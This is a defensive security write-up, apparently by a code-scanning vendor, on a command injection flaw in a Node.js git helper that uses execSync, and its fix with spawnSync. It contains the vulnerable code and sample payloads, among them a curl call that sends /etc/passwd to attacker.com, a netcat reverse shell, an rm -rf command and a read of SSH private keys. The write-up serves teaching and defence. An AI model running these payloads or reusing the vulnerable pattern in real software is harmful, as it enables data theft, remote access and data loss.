How Command Injection happens in Node.js child_process calls and how to fix it

How Command Injection Happens in Node.js child_process Calls and How to Fix It

The git.ts File Had a Shell Hiding in Plain Sight

The src/collectors/git.ts file is responsible for collecting Git repository metadata — things like ahead/behind sync status and file change counts. Its core helper, execGit, accepts an array of arguments and runs them against the local git binary. On the surface, this looks like a routine utility function. But the original implementation contained a subtle and dangerous flaw: it handed those arguments to a shell.

Here's the vulnerable code at line 15:

// BEFORE — vulnerable
import { execSync } from 'child_process';

function execGit(args: string[], cwd?: string): string | null {
  try {
    const result = execSync(`git ${args.join(' ')}`, {
      cwd: cwd || process.cwd(),
      encoding: 'utf-8',
      stdio: ['pipe', 'pipe', 'pipe'],
      timeout: 5000,
    });
    return result.trim();
  } catch {
    return null;
  }
}

The problem is the template literal: `git ${args.join(' ')}`. This constructs a shell command string by joining the args array with spaces and concatenating it after git. That string is then handed to execSync, which — critically — invokes a shell to interpret it. Every shell metacharacter in args is live.

The Vulnerability Explained

Why execSync with String Interpolation Is Dangerous

execSync in Node.js, by default, spawns /bin/sh -c <command> (on Unix-like systems) or cmd.exe /d /s /c <command> on Windows. This means the entire command string is parsed by a shell before git ever sees it.

When args contains values like:

["log", "--oneline; curl https://attacker.com/exfil?data=$(cat /etc/passwd)"]

The resulting command string becomes:

git log --oneline; curl https://attacker.com/exfil?data=$(cat /etc/passwd)

The shell interprets the semicolon as a command separator and executes both commands. The git process runs normally, and the injected command runs silently alongside it.

Attack Scenario Specific to This Code

This is a Node.js library, meaning its execGit function could be called by downstream consumers who construct args from user input — for example, a web application that lets users specify a branch name, a file path, or a commit range to inspect.

Consider a scenario where a downstream app passes a user-supplied branch name:

// Downstream consumer — vulnerable usage
const branch = req.query.branch; // user-controlled
execGit(['log', '--oneline', branch]);

If branch is set to main; rm -rf /tmp/important-data, the resulting shell command is:

git log --oneline main; rm -rf /tmp/important-data

Other dangerous payloads include:
- $(whoami) — command substitution
- | nc attacker.com 4444 -e /bin/sh — reverse shell via pipe
- `cat ~/.ssh/id_rsa` — backtick execution

The catch {} block in the original code actually makes this worse from a detection standpoint: it silently swallows errors, so a partially successful injection (where git fails but the injected command succeeds) returns null without raising any alarm.

Real-World Impact

Because this is a library, the blast radius extends beyond the repository itself. Any application that installs this package and passes externally-sourced strings into execGit inherits the vulnerability. In CI/CD environments, where git tooling often runs with elevated permissions or access to secrets, this is especially critical.

The Fix

Replace execSync with spawnSync — Eliminate the Shell Entirely

The fix is clean, minimal, and architecturally sound:

// AFTER — fixed
import { spawnSync } from 'child_process';

function execGit(args: string[], cwd?: string): string | null {
  const result = spawnSync('git', args, {
    cwd: cwd || process.cwd(),
    encoding: 'utf-8',
    stdio: ['pipe', 'pipe', 'pipe'],
    timeout: 5000,
  });
  if (result.error || result.status !== 0) return null;
  return result.stdout.trim();
}

What Changed and Why It Matters

The key insight is that spawnSync('git', args, ...) never invokes a shell. The Node.js runtime passes the args array directly to the operating system's execve syscall (or equivalent). Each element of args is treated as a literal argument to git — there is no string parsing, no metacharacter interpretation, and no shell expansion.

This means even a malicious input like "--oneline; rm -rf /" is passed to git as a single, literal argument string. Git will reject it as an invalid argument. No shell command runs.

The fix also improves error handling: instead of a broad try/catch that silently swallows everything, the new code explicitly checks result.error (process spawn failure) and result.status !== 0 (non-zero exit code), returning null only in those cases. This is more transparent and debuggable.

Prevention & Best Practices

1. Prefer spawnSync/spawn Over execSync/exec

The Node.js child_process module offers both shell-based and shell-free variants:

When you must use execSync or exec, never interpolate external input into the command string.

2. Treat All args Arrays as Potentially Tainted

Even when using spawnSync, validate individual arguments if they come from user input. For git commands specifically, consider allowlisting valid argument patterns:

const SAFE_GIT_ARG = /^[a-zA-Z0-9_.\/\-]+$/;

function validateGitArgs(args: string[]): boolean {
  return args.every(arg => SAFE_GIT_ARG.test(arg));
}

3. Apply the Principle of Least Privilege

If your git tooling only needs to run a fixed set of commands, enumerate them explicitly rather than accepting arbitrary args:

type GitCommand = 'status' | 'log' | 'diff';
const GIT_COMMANDS: Record<GitCommand, string[]> = {
  status: ['status', '--porcelain'],
  log: ['log', '--oneline', '-10'],
  diff: ['diff', '--stat'],
};

4. Use Static Analysis in CI

The Semgrep rule javascript.lang.security.detect-child-process.detect-child-process caught this vulnerability automatically. Add Semgrep (or similar tools) to your CI pipeline to catch these patterns before they reach production:

# .github/workflows/security.yml
- name: Run Semgrep
  uses: semgrep/semgrep-action@v1
  with:
    config: p/javascript

5. Reference Standards

• OWASP Command Injection: https://owasp.org/www-community/attacks/Command_Injection
• CWE-78: Improper Neutralization of Special Elements used in an OS Command
• Node.js Security Best Practices: Prefer spawnSync with argument arrays for subprocess invocation

Key Takeaways

• The execGit function in git.ts was one template literal away from a shell — the pattern `git ${args.join(' ')}` is the exact shape of a command injection sink.
• execSync always invokes a shell — any string passed to it is shell-interpreted, making metacharacter injection trivially easy.
• spawnSync('git', args) is not just "safer" — it's categorically different — there is no shell process, so there are no metacharacters to escape or sanitize.
• Library code has an amplified attack surface — a vulnerability in execGit affects every downstream consumer who passes external input, not just this one repository.
• Swallowing errors with catch {} can mask successful injections — the new explicit result.error || result.status !== 0 check is both safer and more transparent.

How Orbis AppSec Detected This

• Source: The args: string[] parameter of the execGit function in src/collectors/git.ts — an array whose elements may originate from user-controlled or externally-sourced input in downstream consumers.
• Sink: execSync(`git ${args.join(' ')}`, ...) at src/collectors/git.ts:15 — a shell command constructed by interpolating the args array into a template literal.
• Missing control: No sanitization, escaping, or allowlisting of args elements before they were joined into the shell command string.
• CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
• Fix: Replaced execSync with spawnSync('git', args, ...), passing arguments as an array directly to the git process and bypassing shell interpretation entirely.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.

Conclusion

The vulnerability in src/collectors/git.ts is a textbook example of how a small, seemingly innocuous code pattern — joining an array into a string and passing it to execSync — can open the door to full command injection. The fix is equally instructive: by switching from execSync to spawnSync with an argument array, the shell is eliminated from the equation entirely. No shell means no shell metacharacters, and no shell metacharacters means no injection.

For Node.js developers working with child_process, the rule of thumb is simple: if you can use an argument array, use it. Reserve shell-based execution (exec, execSync) for cases where you genuinely need shell features like globbing or piping — and never feed user input into those strings without robust, defense-in-depth validation.

Security isn't always about complex cryptographic protocols or sophisticated runtime defenses. Sometimes it's about choosing the right function.

References

• CWE-78: Improper Neutralization of Special Elements used in an OS Command
• OWASP Command Injection Cheat Sheet
• Node.js child_process.spawnSync() Documentation
• Semgrep Rule: detect-child-process
• harden: sanitize child_process call in git.ts...